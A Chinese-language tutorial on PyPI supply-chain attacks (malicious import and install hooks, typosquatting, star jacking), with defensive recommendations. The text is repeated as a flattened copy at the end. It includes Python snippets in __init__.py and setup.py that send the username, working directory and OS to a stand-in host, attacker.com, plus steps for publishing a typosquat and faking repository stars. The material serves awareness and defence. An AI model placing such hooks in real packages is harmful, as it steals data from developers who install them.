供应链安全——pypi下的星标劫持和域名仿冒
字数 1644 2025-08-29 22:41:24

PyPI供应链安全攻防指南:星标劫持与域名仿冒技术详解

1. 软件供应链安全概述

1.1 定义与重要性

软件供应链安全指在软件开发、交付、维护全过程中防止恶意代码、漏洞或其他安全风险被引入最终产品的安全措施。其重要性体现在:

  • 现代软件开发高度依赖第三方组件(如fastjson、Log4j等)
  • 广泛使用的组件一旦出现漏洞,影响范围极大
  • 攻击面从开发环节扩展到整个供应链

1.2 典型供应链攻击案例

  1. Fastjson反序列化漏洞

    • 攻击方式:构造恶意JSON数据触发RCE
    • 影响:阿里巴巴开源的高性能JSON库
  2. Nacos未授权漏洞

    • 攻击方式:通过默认口令/未授权访问控制台
    • 影响:阿里动态服务发现与配置管理平台
  3. Log4j2远程代码执行

    • 攻击方式:恶意JNDI查询触发代码执行
    • 影响:Apache流行的Java日志记录库

2. PyPI供应链安全基础

2.1 PyPI简介

PyPI(Python Package Index)是Python官方软件包仓库,特点包括:

  • 类似Java的Maven Central或JS的npm
  • 简化包共享和安装流程
  • 开放特性带来供应链安全风险

2.2 关键文件解析

  1. setup.py

    • 包的核心配置文件
    • pip install时自动执行其中代码
    • 主流劫持点:可通过setup.py执行恶意代码
  2. init.py

    • 包的初始化文件
    • 当依赖被import时自动执行
    • 另一个常见劫持点

3. PyPI恶意包攻击技术

3.1 类型1:引入依赖时泄露信息

攻击原理

  • 在__init__.py中植入恶意代码
  • 当用户import包时自动执行

实现步骤

  1. 创建项目结构:

    attack_package/
    ├── attack_package/
    │   ├── __init__.py
    ├── setup.py
    
  2. init.py内容:

    import os, requests
    data = {
        "user": os.getlogin(),
        "cwd": os.path.abspath(".")
    }
    requests.post("http://attacker.com", json=data)
    
  3. setup.py配置:

    from setuptools import setup
    setup(
        name="attack_package",
        version="0.1.0",
        packages=["attack_package"],
        install_requires=["requests"]
    )
    

攻击效果

  • 受害者import时自动发送系统信息到攻击者服务器

3.2 类型2:安装依赖时泄露信息

攻击原理

  • 恶意代码位于setup.py中
  • 安装过程即触发信息泄露

实现步骤

  1. setup.py示例:
    import os, platform, requests
    
    def exfiltrate_data():
        data = {
            "system": platform.system(),
            "user": os.getlogin()
        }
        try:
            requests.post("http://attacker.com", json=data)
        except: pass
    
    exfiltrate_data()
    
    setup(
        name="install_attack_package",
        version="0.1.0",
        packages=["install_attack_package"]
    )
    

攻击特点

  • 无需import,安装即触发
  • 尝试多种通信方式确保成功率

3.3 类型3:域名仿冒(Typosquatting)

攻击原理

  • 利用用户拼写错误创建相似包名
  • 如requests → reqeusts, requestss

实现方法

  1. 常见仿冒技术:

    • 伪造包名(reqeusts)
    • 相似字符替换(аррle.com使用西里尔字母)
    • URL中的@符号伪装
    • 新型顶级域名仿冒
    • 域名抢注(pyp1.com)
  2. 实战示例:

    • 创建requestss包仿冒requests
    • init.py植入恶意代码
    • 诱导拼写错误的用户安装

3.4 类型4:星标劫持(Star Jacking)

攻击原理

  • 伪造GitHub项目星标数制造虚假流行度
  • 克隆热门项目植入恶意代码

实现方法

  1. 常见技术:

    • 自动化脚本批量添加星标
    • 克隆知名项目并植入后门
    • 使用相似名称混淆视听
  2. 实战示例:

    • 创建requests-utils仓库
    • 使用小号刷星
    • 发布带恶意代码的release
    • 利用虚假流行度诱导安装

4. 防御措施

4.1 开发者防护建议

  1. 依赖验证

    • 仔细检查包名拼写
    • 验证包来源和作者身份
    • 优先选择官方认证包
  2. 环境隔离

    • 使用虚拟环境进行开发
    • 限制生产环境网络出口
  3. 安全工具

    • 使用依赖扫描工具(如Safety)
    • 实施软件物料清单(SBOM)

4.2 企业防护策略

  1. 供应链管控

    • 建立内部镜像源
    • 实施依赖白名单机制
    • 定期审计第三方组件
  2. 监控响应

    • 监控异常网络请求
    • 建立应急响应流程
    • 保持依赖项及时更新

5. 总结

PyPI供应链安全威胁呈现多样化趋势,从传统的漏洞利用发展到:

  • 安装阶段劫持(setup.py)
  • 运行阶段攻击(init.py)
  • 社会工程学技巧(域名仿冒)
  • 信誉系统滥用(星标劫持)

防御需要从技术和管理双维度构建多层防护体系,关键点在于提高开发团队安全意识,实施严格的依赖管理策略,并建立持续监控机制。

PyPI供应链安全攻防指南:星标劫持与域名仿冒技术详解 1. 软件供应链安全概述 1.1 定义与重要性 软件供应链安全指在软件开发、交付、维护全过程中防止恶意代码、漏洞或其他安全风险被引入最终产品的安全措施。其重要性体现在: 现代软件开发高度依赖第三方组件(如fastjson、Log4j等) 广泛使用的组件一旦出现漏洞,影响范围极大 攻击面从开发环节扩展到整个供应链 1.2 典型供应链攻击案例 Fastjson反序列化漏洞 : 攻击方式:构造恶意JSON数据触发RCE 影响:阿里巴巴开源的高性能JSON库 Nacos未授权漏洞 : 攻击方式:通过默认口令/未授权访问控制台 影响:阿里动态服务发现与配置管理平台 Log4j2远程代码执行 : 攻击方式:恶意JNDI查询触发代码执行 影响:Apache流行的Java日志记录库 2. PyPI供应链安全基础 2.1 PyPI简介 PyPI(Python Package Index)是Python官方软件包仓库,特点包括: 类似Java的Maven Central或JS的npm 简化包共享和安装流程 开放特性带来供应链安全风险 2.2 关键文件解析 setup.py : 包的核心配置文件 pip install 时自动执行其中代码 主流劫持点:可通过setup.py执行恶意代码 init .py : 包的初始化文件 当依赖被import时自动执行 另一个常见劫持点 3. PyPI恶意包攻击技术 3.1 类型1:引入依赖时泄露信息 攻击原理 : 在__ init__ .py中植入恶意代码 当用户import包时自动执行 实现步骤 : 创建项目结构: init .py内容: setup.py配置: 攻击效果 : 受害者import时自动发送系统信息到攻击者服务器 3.2 类型2:安装依赖时泄露信息 攻击原理 : 恶意代码位于setup.py中 安装过程即触发信息泄露 实现步骤 : setup.py示例: 攻击特点 : 无需import,安装即触发 尝试多种通信方式确保成功率 3.3 类型3:域名仿冒(Typosquatting) 攻击原理 : 利用用户拼写错误创建相似包名 如requests → reqeusts, requestss 实现方法 : 常见仿冒技术: 伪造包名(reqeusts) 相似字符替换(аррle.com使用西里尔字母) URL中的@符号伪装 新型顶级域名仿冒 域名抢注(pyp1.com) 实战示例: 创建requestss包仿冒requests init .py植入恶意代码 诱导拼写错误的用户安装 3.4 类型4:星标劫持(Star Jacking) 攻击原理 : 伪造GitHub项目星标数制造虚假流行度 克隆热门项目植入恶意代码 实现方法 : 常见技术: 自动化脚本批量添加星标 克隆知名项目并植入后门 使用相似名称混淆视听 实战示例: 创建requests-utils仓库 使用小号刷星 发布带恶意代码的release 利用虚假流行度诱导安装 4. 防御措施 4.1 开发者防护建议 依赖验证 : 仔细检查包名拼写 验证包来源和作者身份 优先选择官方认证包 环境隔离 : 使用虚拟环境进行开发 限制生产环境网络出口 安全工具 : 使用依赖扫描工具(如Safety) 实施软件物料清单(SBOM) 4.2 企业防护策略 供应链管控 : 建立内部镜像源 实施依赖白名单机制 定期审计第三方组件 监控响应 : 监控异常网络请求 建立应急响应流程 保持依赖项及时更新 5. 总结 PyPI供应链安全威胁呈现多样化趋势,从传统的漏洞利用发展到: 安装阶段劫持(setup.py) 运行阶段攻击( init .py) 社会工程学技巧(域名仿冒) 信誉系统滥用(星标劫持) 防御需要从技术和管理双维度构建多层防护体系,关键点在于提高开发团队安全意识,实施严格的依赖管理策略,并建立持续监控机制。